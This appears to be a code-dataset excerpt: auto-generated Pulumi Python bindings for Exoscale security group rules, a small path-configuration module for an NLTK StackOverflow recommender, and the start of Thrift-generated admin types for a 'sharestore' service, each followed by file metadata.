:param pulumi.Input[str] security_group_id: The Security Group ID the rule applies to.
:param pulumi.Input[str] user_security_group: A source (for ingress)/destination (for egress) Security Group name to match (conflicts with `cidr`/`security_group_id`).
:param pulumi.Input[str] user_security_group_id: A source (for ingress)/destination (for egress) Security Group ID to match (conflicts with `cidr`/`security_group)`).
"""
pulumi.set(__self__, "type", type)
if cidr is not None:
pulumi.set(__self__, "cidr", cidr)
if description is not None:
pulumi.set(__self__, "description", description)
if end_port is not None:
pulumi.set(__self__, "end_port", end_port)
if icmp_code is not None:
pulumi.set(__self__, "icmp_code", icmp_code)
if icmp_type is not None:
pulumi.set(__self__, "icmp_type", icmp_type)
if protocol is not None:
pulumi.set(__self__, "protocol", protocol)
if security_group is not None:
pulumi.set(__self__, "security_group", security_group)
if security_group_id is not None:
pulumi.set(__self__, "security_group_id", security_group_id)
if start_port is not None:
pulumi.set(__self__, "start_port", start_port)
if user_security_group is not None:
pulumi.set(__self__, "user_security_group", user_security_group)
if user_security_group_id is not None:
pulumi.set(__self__, "user_security_group_id", user_security_group_id)
@property
@pulumi.getter
def type(self) -> pulumi.Input[str]:
"""
The traffic direction to match (`INGRESS` or `EGRESS`).
"""
return pulumi.get(self, "type")
@type.setter
def type(self, value: pulumi.Input[str]):
pulumi.set(self, "type", value)
@property
@pulumi.getter
def cidr(self) -> Optional[pulumi.Input[str]]:
"""
A source (for ingress)/destination (for egress) IP subnet (in [CIDR notation][cidr]) to match (conflicts with `user_security_group`/`security_group_id`).
"""
return pulumi.get(self, "cidr")
@cidr.setter
def cidr(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "cidr", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
A free-form text describing the Security Group rule purpose.
* `start_port`/`end_port` - A `TCP`/`UDP` port range to match.
* `icmp_type`/`icmp_code` - An ICMP/ICMPv6 [type/code][icmp] to match.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="endPort")
def end_port(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "end_port")
@end_port.setter
def end_port(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "end_port", value)
@property
@pulumi.getter(name="icmpCode")
def icmp_code(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "icmp_code")
@icmp_code.setter
def icmp_code(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "icmp_code", value)
@property
@pulumi.getter(name="icmpType")
def icmp_type(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "icmp_type")
@icmp_type.setter
def icmp_type(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "icmp_type", value)
@property
@pulumi.getter
def protocol(self) -> Optional[pulumi.Input[str]]:
"""
The network protocol to match. Supported values are: `TCP`, `UDP`, `ICMP`, `ICMPv6`, `AH`, `ESP`, `GRE`, `IPIP` and `ALL`.
"""
return pulumi.get(self, "protocol")
@protocol.setter
def protocol(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "protocol", value)
@property
@pulumi.getter(name="securityGroup")
def security_group(self) -> Optional[pulumi.Input[str]]:
"""
The Security Group name the rule applies to.
"""
return pulumi.get(self, "security_group")
@security_group.setter
def security_group(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "security_group", value)
@property
@pulumi.getter(name="securityGroupId")
def security_group_id(self) -> Optional[pulumi.Input[str]]:
"""
The Security Group ID the rule applies to.
"""
return pulumi.get(self, "security_group_id")
@security_group_id.setter
def security_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "security_group_id", value)
@property
@pulumi.getter(name="startPort")
def start_port(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "start_port")
@start_port.setter
def start_port(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "start_port", value)
@property
@pulumi.getter(name="userSecurityGroup")
def user_security_group(self) -> Optional[pulumi.Input[str]]:
"""
A source (for ingress)/destination (for egress) Security Group name to match (conflicts with `cidr`/`security_group_id`).
"""
return pulumi.get(self, "user_security_group")
@user_security_group.setter
def user_security_group(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_security_group", value)
@property
@pulumi.getter(name="userSecurityGroupId")
def user_security_group_id(self) -> Optional[pulumi.Input[str]]:
"""
A source (for ingress)/destination (for egress) Security Group ID to match (conflicts with `cidr`/`security_group)`).
"""
return pulumi.get(self, "user_security_group_id")
@user_security_group_id.setter
def user_security_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_security_group_id", value)
@pulumi.input_type
class _SecurityGroupRuleState:
def __init__(__self__, *,
cidr: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
end_port: Optional[pulumi.Input[int]] = None,
icmp_code: Optional[pulumi.Input[int]] = None,
icmp_type: Optional[pulumi.Input[int]] = None,
protocol: Optional[pulumi.Input[str]] = None,
security_group: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
start_port: Optional[pulumi.Input[int]] = None,
type: Optional[pulumi.Input[str]] = None,
user_security_group: Optional[pulumi.Input[str]] = None,
user_security_group_id: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering SecurityGroupRule resources.
:param pulumi.Input[str] cidr: A source (for ingress)/destination (for egress) IP subnet (in [CIDR notation][cidr]) to match (conflicts with `user_security_group`/`security_group_id`).
:param pulumi.Input[str] description: A free-form text describing the Security Group rule purpose.
* `start_port`/`end_port` - A `TCP`/`UDP` port range to match.
* `icmp_type`/`icmp_code` - An ICMP/ICMPv6 [type/code][icmp] to match.
:param pulumi.Input[str] protocol: The network protocol to match. Supported values are: `TCP`, `UDP`, `ICMP`, `ICMPv6`, `AH`, `ESP`, `GRE`, `IPIP` and `ALL`.
:param pulumi.Input[str] security_group: The Security Group name the rule applies to.
:param pulumi.Input[str] security_group_id: The Security Group ID the rule applies to.
:param pulumi.Input[str] type: The traffic direction to match (`INGRESS` or `EGRESS`).
:param pulumi.Input[str] user_security_group: A source (for ingress)/destination (for egress) Security Group name to match (conflicts with `cidr`/`security_group_id`).
:param pulumi.Input[str] user_security_group_id: A source (for ingress)/destination (for egress) Security Group ID to match (conflicts with `cidr`/`security_group)`).
"""
if cidr is not None:
pulumi.set(__self__, "cidr", cidr)
if description is not None:
pulumi.set(__self__, "description", description)
if end_port is not None:
pulumi.set(__self__, "end_port", end_port)
if icmp_code is not None:
pulumi.set(__self__, "icmp_code", icmp_code)
if icmp_type is not None:
pulumi.set(__self__, "icmp_type", icmp_type)
if protocol is not None:
pulumi.set(__self__, "protocol", protocol)
if security_group is not None:
pulumi.set(__self__, "security_group", security_group)
if security_group_id is not None:
pulumi.set(__self__, "security_group_id", security_group_id)
if start_port is not None:
pulumi.set(__self__, "start_port", start_port)
if type is not None:
pulumi.set(__self__, "type", type)
if user_security_group is not None:
pulumi.set(__self__, "user_security_group", user_security_group)
if user_security_group_id is not None:
pulumi.set(__self__, "user_security_group_id", user_security_group_id)
@property
@pulumi.getter
def cidr(self) -> Optional[pulumi.Input[str]]:
"""
A source (for ingress)/destination (for egress) IP subnet (in [CIDR notation][cidr]) to match (conflicts with `user_security_group`/`security_group_id`).
"""
return pulumi.get(self, "cidr")
@cidr.setter
def cidr(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "cidr", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
A free-form text describing the Security Group rule purpose.
* `start_port`/`end_port` - A `TCP`/`UDP` port range to match.
* `icmp_type`/`icmp_code` - An ICMP/ICMPv6 [type/code][icmp] to match.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="endPort")
def end_port(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "end_port")
@end_port.setter
def end_port(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "end_port", value)
@property
@pulumi.getter(name="icmpCode")
def icmp_code(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "icmp_code")
@icmp_code.setter
def icmp_code(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "icmp_code", value)
@property
@pulumi.getter(name="icmpType")
def icmp_type(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "icmp_type")
@icmp_type.setter
def icmp_type(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "icmp_type", value)
@property
@pulumi.getter
def protocol(self) -> Optional[pulumi.Input[str]]:
"""
The network protocol to match. Supported values are: `TCP`, `UDP`, `ICMP`, `ICMPv6`, `AH`, `ESP`, `GRE`, `IPIP` and `ALL`.
"""
return pulumi.get(self, "protocol")
@protocol.setter
def protocol(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "protocol", value)
@property
@pulumi.getter(name="securityGroup")
def security_group(self) -> Optional[pulumi.Input[str]]:
"""
The Security Group name the rule applies to.
"""
return pulumi.get(self, "security_group")
@security_group.setter
def security_group(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "security_group", value)
@property
@pulumi.getter(name="securityGroupId")
def security_group_id(self) -> Optional[pulumi.Input[str]]:
"""
The Security Group ID the rule applies to.
"""
return pulumi.get(self, "security_group_id")
@security_group_id.setter
def security_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "security_group_id", value)
@property
@pulumi.getter(name="startPort")
def start_port(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "start_port")
@start_port.setter
def start_port(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "start_port", value)
@property
@pulumi.getter
def type(self) -> Optional[pulumi.Input[str]]:
"""
The traffic direction to match (`INGRESS` or `EGRESS`).
"""
return pulumi.get(self, "type")
@type.setter
def type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "type", value)
@property
@pulumi.getter(name="userSecurityGroup")
def user_security_group(self) -> Optional[pulumi.Input[str]]:
"""
A source (for ingress)/destination (for egress) Security Group name to match (conflicts with `cidr`/`security_group_id`).
"""
return pulumi.get(self, "user_security_group")
@user_security_group.setter
def user_security_group(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_security_group", value)
@property
@pulumi.getter(name="userSecurityGroupId")
def user_security_group_id(self) -> Optional[pulumi.Input[str]]:
"""
A source (for ingress)/destination (for egress) Security Group ID to match (conflicts with `cidr`/`security_group)`).
"""
return pulumi.get(self, "user_security_group_id")
@user_security_group_id.setter
def user_security_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_security_group_id", value)
class SecurityGroupRule(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
cidr: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
end_port: Optional[pulumi.Input[int]] = None,
icmp_code: Optional[pulumi.Input[int]] = None,
icmp_type: Optional[pulumi.Input[int]] = None,
protocol: Optional[pulumi.Input[str]] = None,
security_group: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
start_port: Optional[pulumi.Input[int]] = None,
type: Optional[pulumi.Input[str]] = None,
user_security_group: Optional[pulumi.Input[str]] = None,
user_security_group_id: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Provides an Exoscale [Security Group][r-security_group] rule resource. This can be used to create and delete Security Group rules.
## Example Usage
```python
import pulumi
import pulumi_exoscale as exoscale
webservers = exoscale.SecurityGroup("webservers")
# ...
http = exoscale.SecurityGroupRule("http",
security_group_id=webservers.id,
type="INGRESS",
protocol="TCP",
cidr="0.0.0.0/0",
start_port=80,
end_port=80)
```
## Import
An existing Security Group rule can be imported as a resource by `<SECURITY-GROUP-ID>/<SECURITY-GROUP-RULE-ID>`console
```sh
$ pulumi import exoscale:index/securityGroupRule:SecurityGroupRule http eb556678-ec59-4be6-8c54-0406ae0f6da6/846831cb-a0fc-454b-9abd-cb526559fcf9
```
[cidr]https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation [icmp]https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol#Control_messages [r-security_group]security_group.html
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] cidr: A source (for ingress)/destination (for egress) IP subnet (in [CIDR notation][cidr]) to match (conflicts with `user_security_group`/`security_group_id`).
:param pulumi.Input[str] description: A free-form text describing the Security Group rule purpose.
* `start_port`/`end_port` - A `TCP`/`UDP` port range to match.
* `icmp_type`/`icmp_code` - An ICMP/ICMPv6 [type/code][icmp] to match.
:param pulumi.Input[str] protocol: The network protocol to match. Supported values are: `TCP`, `UDP`, `ICMP`, `ICMPv6`, `AH`, `ESP`, `GRE`, `IPIP` and `ALL`.
:param pulumi.Input[str] security_group: The Security Group name the rule applies to.
:param pulumi.Input[str] security_group_id: The Security Group ID the rule applies to.
:param pulumi.Input[str] type: The traffic direction to match (`INGRESS` or `EGRESS`).
:param pulumi.Input[str] user_security_group: A source (for ingress)/destination (for egress) Security Group name to match (conflicts with `cidr`/`security_group_id`).
:param pulumi.Input[str] user_security_group_id: A source (for ingress)/destination (for egress) Security Group ID to match (conflicts with `cidr`/`security_group)`).
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: SecurityGroupRuleArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Provides an Exoscale [Security Group][r-security_group] rule resource. This can be used to create and delete Security Group rules.
## Example Usage
```python
import pulumi
import pulumi_exoscale as exoscale
webservers = exoscale.SecurityGroup("webservers")
# ...
http = exoscale.SecurityGroupRule("http",
security_group_id=webservers.id,
type="INGRESS",
protocol="TCP",
cidr="0.0.0.0/0",
start_port=80,
end_port=80)
```
## Import
An existing Security Group rule can be imported as a resource by `<SECURITY-GROUP-ID>/<SECURITY-GROUP-RULE-ID>`console
```sh
$ pulumi import exoscale:index/securityGroupRule:SecurityGroupRule http eb556678-ec59-4be6-8c54-0406ae0f6da6/846831cb-a0fc-454b-9abd-cb526559fcf9
```
[cidr]https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation [icmp]https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol#Control_messages [r-security_group]security_group.html
:param str resource_name: The name of the resource.
:param SecurityGroupRuleArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(SecurityGroupRuleArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
cidr: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
end_port: Optional[pulumi.Input[int]] = None,
icmp_code: Optional[pulumi.Input[int]] = None,
icmp_type: Optional[pulumi.Input[int]] = None,
protocol: Optional[pulumi.Input[str]] = None,
security_group: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
start_port: Optional[pulumi.Input[int]] = None,
type: Optional[pulumi.Input[str]] = None,
user_security_group: Optional[pulumi.Input[str]] = None,
user_security_group_id: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = SecurityGroupRuleArgs.__new__(SecurityGroupRuleArgs)
__props__.__dict__["cidr"] = cidr
__props__.__dict__["description"] = description
__props__.__dict__["end_port"] = end_port
__props__.__dict__["icmp_code"] = icmp_code
__props__.__dict__["icmp_type"] = icmp_type
__props__.__dict__["protocol"] = protocol
__props__.__dict__["security_group"] = security_group
__props__.__dict__["security_group_id"] = security_group_id
__props__.__dict__["start_port"] = start_port
if type is None and not opts.urn:
raise TypeError("Missing required property 'type'")
__props__.__dict__["type"] = type
__props__.__dict__["user_security_group"] = user_security_group
__props__.__dict__["user_security_group_id"] = user_security_group_id
super(SecurityGroupRule, __self__).__init__(
'exoscale:index/securityGroupRule:SecurityGroupRule',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
cidr: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
end_port: Optional[pulumi.Input[int]] = None,
icmp_code: Optional[pulumi.Input[int]] = None,
icmp_type: Optional[pulumi.Input[int]] = None,
protocol: Optional[pulumi.Input[str]] = None,
security_group: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
start_port: Optional[pulumi.Input[int]] = None,
type: Optional[pulumi.Input[str]] = None,
user_security_group: Optional[pulumi.Input[str]] = None,
user_security_group_id: Optional[pulumi.Input[str]] = None) -> 'SecurityGroupRule':
"""
Get an existing SecurityGroupRule resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] cidr: A source (for ingress)/destination (for egress) IP subnet (in [CIDR notation][cidr]) to match (conflicts with `user_security_group`/`security_group_id`).
:param pulumi.Input[str] description: A free-form text describing the Security Group rule purpose.
* `start_port`/`end_port` - A `TCP`/`UDP` port range to match.
* `icmp_type`/`icmp_code` - An ICMP/ICMPv6 [type/code][icmp] to match.
:param pulumi.Input[str] protocol: The network protocol to match. Supported values are: `TCP`, `UDP`, `ICMP`, `ICMPv6`, `AH`, `ESP`, `GRE`, `IPIP` and `ALL`.
:param pulumi.Input[str] security_group: The Security Group name the rule applies to.
:param pulumi.Input[str] security_group_id: The Security Group ID the rule applies to.
:param pulumi.Input[str] type: The traffic direction to match (`INGRESS` or `EGRESS`).
:param pulumi.Input[str] user_security_group: A source (for ingress)/destination (for egress) Security Group name to match (conflicts with `cidr`/`security_group_id`).
:param pulumi.Input[str] user_security_group_id: A source (for ingress)/destination (for egress) Security Group ID to match (conflicts with `cidr`/`security_group)`).
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _SecurityGroupRuleState.__new__(_SecurityGroupRuleState)
__props__.__dict__["cidr"] = cidr
__props__.__dict__["description"] = description
__props__.__dict__["end_port"] = end_port
__props__.__dict__["icmp_code"] = icmp_code
__props__.__dict__["icmp_type"] = icmp_type
__props__.__dict__["protocol"] = protocol
__props__.__dict__["security_group"] = security_group
__props__.__dict__["security_group_id"] = security_group_id
__props__.__dict__["start_port"] = start_port
__props__.__dict__["type"] = type
__props__.__dict__["user_security_group"] = user_security_group
__props__.__dict__["user_security_group_id"] = user_security_group_id
return SecurityGroupRule(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def cidr(self) -> pulumi.Output[Optional[str]]:
"""
A source (for ingress)/destination (for egress) IP subnet (in [CIDR notation][cidr]) to match (conflicts with `user_security_group`/`security_group_id`).
"""
return pulumi.get(self, "cidr")
@property
@pulumi.getter
def description(self) -> pulumi.Output[Optional[str]]:
"""
A free-form text describing the Security Group rule purpose.
* `start_port`/`end_port` - A `TCP`/`UDP` port range to match.
* `icmp_type`/`icmp_code` - An ICMP/ICMPv6 [type/code][icmp] to match.
"""
return pulumi.get(self, "description")
@property
@pulumi.getter(name="endPort")
def end_port(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "end_port")
@property
@pulumi.getter(name="icmpCode")
def icmp_code(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "icmp_code")
@property
@pulumi.getter(name="icmpType")
def icmp_type(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "icmp_type")
@property
@pulumi.getter
def protocol(self) -> pulumi.Output[Optional[str]]:
"""
The network protocol to match. Supported values are: `TCP`, `UDP`, `ICMP`, `ICMPv6`, `AH`, `ESP`, `GRE`, `IPIP` and `ALL`.
"""
return pulumi.get(self, "protocol")
@property
@pulumi.getter(name="securityGroup")
def security_group(self) -> pulumi.Output[str]:
"""
The Security Group name the rule applies to.
"""
return pulumi.get(self, "security_group")
@property
@pulumi.getter(name="securityGroupId")
def security_group_id(self) -> pulumi.Output[str]:
"""
The Security Group ID the rule applies to.
"""
return pulumi.get(self, "security_group_id")
@property
@pulumi.getter(name="startPort")
def start_port(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "start_port")
@property
@pulumi.getter
def type(self) -> pulumi.Output[str]:
"""
The traffic direction to match (`INGRESS` or `EGRESS`).
"""
return pulumi.get(self, "type")
@property
@pulumi.getter(name="userSecurityGroup")
def user_security_group(self) -> pulumi.Output[str]:
"""
A source (for ingress)/destination (for egress) Security Group name to match (conflicts with `cidr`/`security_group_id`).
"""
return pulumi.get(self, "user_security_group")
@property
@pulumi.getter(name="userSecurityGroupId")
def user_security_group_id(self) -> pulumi.Output[Optional[str]]:
"""
A source (for ingress)/destination (for egress) Security Group ID to match (conflicts with `cidr`/`security_group)`).
"""
return pulumi.get(self, "user_security_group_id")
| 45.309384
| 214
| 0.643151
| 3,744
| 30,901
| 5.06891
| 0.057425
| 0.140426
| 0.078196
| 0.079987
| 0.907314
| 0.898198
| 0.888713
| 0.877859
| 0.875171
| 0.863105
| 0
| 0.004628
| 0.237792
| 30,901
| 681
| 215
| 45.375918
| 0.801129
| 0.32986
| 0
| 0.852217
| 1
| 0
| 0.09322
| 0.013954
| 0
| 0
| 0
| 0
| 0
| 1
| 0.165025
| false
| 0.002463
| 0.012315
| 0.029557
| 0.275862
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
2c4aaea483e2fd14e397b57793f56cacd06b9bde
| 571
|
py
|
Python
|
context.py
|
E-tanok/NLTK_stackoverflow_recommender
|
fedbafe7ebcb640ce3ba424c64242e773aa69c51
|
[
"MIT"
] | 1
|
2019-01-16T12:15:40.000Z
|
2019-01-16T12:15:40.000Z
|
context.py
|
E-tanok/NLTK_stackoverflow_tags_recommender
|
fedbafe7ebcb640ce3ba424c64242e773aa69c51
|
[
"MIT"
] | null | null | null |
context.py
|
E-tanok/NLTK_stackoverflow_tags_recommender
|
fedbafe7ebcb640ce3ba424c64242e773aa69c51
|
[
"MIT"
] | 1
|
2020-11-18T07:50:34.000Z
|
2020-11-18T07:50:34.000Z
|
import os
dir_path = os.path.dirname(os.path.realpath(__file__))
if dir_path.split('\\')[0] == 'D:':
datasources_path = dir_path+"\datasources\\"
enrichment_path = dir_path+"\enrichment\\"
pickles_path = dir_path+"\pickles\\"
learning_models_path = dir_path+"\learning_models\\"
temp_files_path = dir_path+"\\tmp\\"
else:
datasources_path = dir_path+"/datasources/"
enrichment_path = dir_path+"/enrichment/"
pickles_path = dir_path+"/pickles/"
learning_models_path = dir_path+"/learning_models/"
temp_files_path = dir_path+"/tmp/"
| 38.066667
| 56
| 0.700525
| 74
| 571
| 4.972973
| 0.27027
| 0.228261
| 0.298913
| 0.119565
| 0.820652
| 0.820652
| 0.820652
| 0.820652
| 0.820652
| 0.820652
| 0
| 0.002037
| 0.140105
| 571
| 14
| 57
| 40.785714
| 0.747454
| 0
| 0
| 0
| 0
| 0
| 0.21366
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.071429
| 0
| 0.071429
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
2c9a57543b4f32a0b48ce47b468112fa325e1205
| 122,682
|
py
|
Python
|
src/test/sharestore_lib/admin/ttypes.py
|
daimashusheng/SHAREdis
|
1cb3b9b92f245fae759492d67845afc4eb81c4b7
|
[
"Apache-2.0"
] | null | null | null |
src/test/sharestore_lib/admin/ttypes.py
|
daimashusheng/SHAREdis
|
1cb3b9b92f245fae759492d67845afc4eb81c4b7
|
[
"Apache-2.0"
] | 4
|
2022-02-18T07:36:57.000Z
|
2022-03-22T07:14:41.000Z
|
src/test/sharestore_lib/admin/ttypes.py
|
daimashusheng/SHAREdis
|
1cb3b9b92f245fae759492d67845afc4eb81c4b7
|
[
"Apache-2.0"
] | 1
|
2022-02-11T02:50:41.000Z
|
2022-02-11T02:50:41.000Z
|
#
# Autogenerated by Thrift Compiler (0.11.0)
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
# options string: py
#
from thrift.Thrift import TType, TMessageType, TFrozenDict, TException, TApplicationException
from thrift.protocol.TProtocol import TProtocolException
from thrift.TRecursive import fix_spec
import sys
from thrift.transport import TTransport
all_structs = []
class AdminErrorCode(object):
DB_NOT_FOUND = 1
DB_EXIST = 2
INVALID_DB_ROLE = 3
INVALID_UPSTREAM = 4
DB_ADMIN_ERROR = 5
DB_ERROR = 6
_VALUES_TO_NAMES = {
1: "DB_NOT_FOUND",
2: "DB_EXIST",
3: "INVALID_DB_ROLE",
4: "INVALID_UPSTREAM",
5: "DB_ADMIN_ERROR",
6: "DB_ERROR",
}
_NAMES_TO_VALUES = {
"DB_NOT_FOUND": 1,
"DB_EXIST": 2,
"INVALID_DB_ROLE": 3,
"INVALID_UPSTREAM": 4,
"DB_ADMIN_ERROR": 5,
"DB_ERROR": 6,
}
class DBMetaData(object):
"""
Attributes:
- db_name
- s3_bucket
- s3_path
"""
def __init__(self, db_name=None, s3_bucket=None, s3_path=None,):
self.db_name = db_name
self.s3_bucket = s3_bucket
self.s3_path = s3_path
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.s3_bucket = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.s3_path = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('DBMetaData')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.s3_bucket is not None:
oprot.writeFieldBegin('s3_bucket', TType.STRING, 2)
oprot.writeString(self.s3_bucket.encode('utf-8') if sys.version_info[0] == 2 else self.s3_bucket)
oprot.writeFieldEnd()
if self.s3_path is not None:
oprot.writeFieldBegin('s3_path', TType.STRING, 3)
oprot.writeString(self.s3_path.encode('utf-8') if sys.version_info[0] == 2 else self.s3_path)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class AdminException(TException):
"""
Attributes:
- message
- errorCode
"""
def __init__(self, message=None, errorCode=None,):
self.message = message
self.errorCode = errorCode
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.message = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.errorCode = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('AdminException')
if self.message is not None:
oprot.writeFieldBegin('message', TType.STRING, 1)
oprot.writeString(self.message.encode('utf-8') if sys.version_info[0] == 2 else self.message)
oprot.writeFieldEnd()
if self.errorCode is not None:
oprot.writeFieldBegin('errorCode', TType.I32, 2)
oprot.writeI32(self.errorCode)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.message is None:
raise TProtocolException(message='Required field message is unset!')
if self.errorCode is None:
